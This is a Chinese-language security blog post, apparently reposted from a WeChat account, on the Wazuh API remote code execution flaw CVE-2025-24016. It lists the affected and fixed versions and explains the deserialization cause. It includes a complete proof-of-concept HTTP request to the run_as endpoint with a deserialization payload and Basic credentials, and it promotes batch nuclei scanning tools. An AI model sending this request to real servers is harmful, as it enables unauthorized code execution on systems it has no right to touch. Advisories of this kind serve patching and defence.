Wazuh RCE漏洞CVE-2025-24016

漏洞批量nuclei验证获取地址在文章末尾

漏洞概述

该漏洞允许具有 API 访问权限的远程攻击者（受感染的仪表板、集群中的 Wazuh 服务器或具有受感染代理的某些配置）在服务器上执行任意代码。

受影响的版本

wazuh-manager版本>= 4.4.0

已修复版本>= 4.9.1

描述

该漏洞发生在 Wazuh API 中，其中的参数DistributedAPI被序列化为 JSON，并在文件as_wazuh_object中使用反序列化framework/wazuh/core/cluster/common.py。攻击者可以通过将未清理的字典注入 DAPI 请求来利用此漏洞，这可能导致对任意 Python 代码的评估。

攻击者可以利用终端触发 RCE run_as，从而控制auth_context参数。通过构造恶意请求，可以在主服务器上执行任意代码。

概念验证

要使用服务器 API 触发此漏洞，请按照以下步骤操作。

PoC Burp Suite 请求

1.Burp Suite 触发漏洞的请求：

POST /security/user/authenticate/run_as HTTP/1.1Host: target.com:55000Cache-Control: max-age=0Accept-Language: en-USUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36Accept: application/jsonAccept-Encoding: gzip, deflate, brConnection: keep-aliveAuthorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==  # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"Content-Type: application/jsonContent-Length: 83{  "__unhandled_exc__": {    "__class__": "exit",    "__args__": []  }}

影响

远程代码执行 (RCE)：此漏洞允许攻击者在 Wazuh 服务器上执行任意代码，影响>= 4.4.0直至4.9.0（尚未修补）的版本。

修复

为了保护您的系统，请升级到修补此问题的Wazuh版本。>= 4.9.1

工具获取，后台回复【20250318】

更多精彩文章与工具分享 欢迎关注

原文始发于微信公众号（爱坤sec）：Wazuh RCE漏洞CVE-2025-24016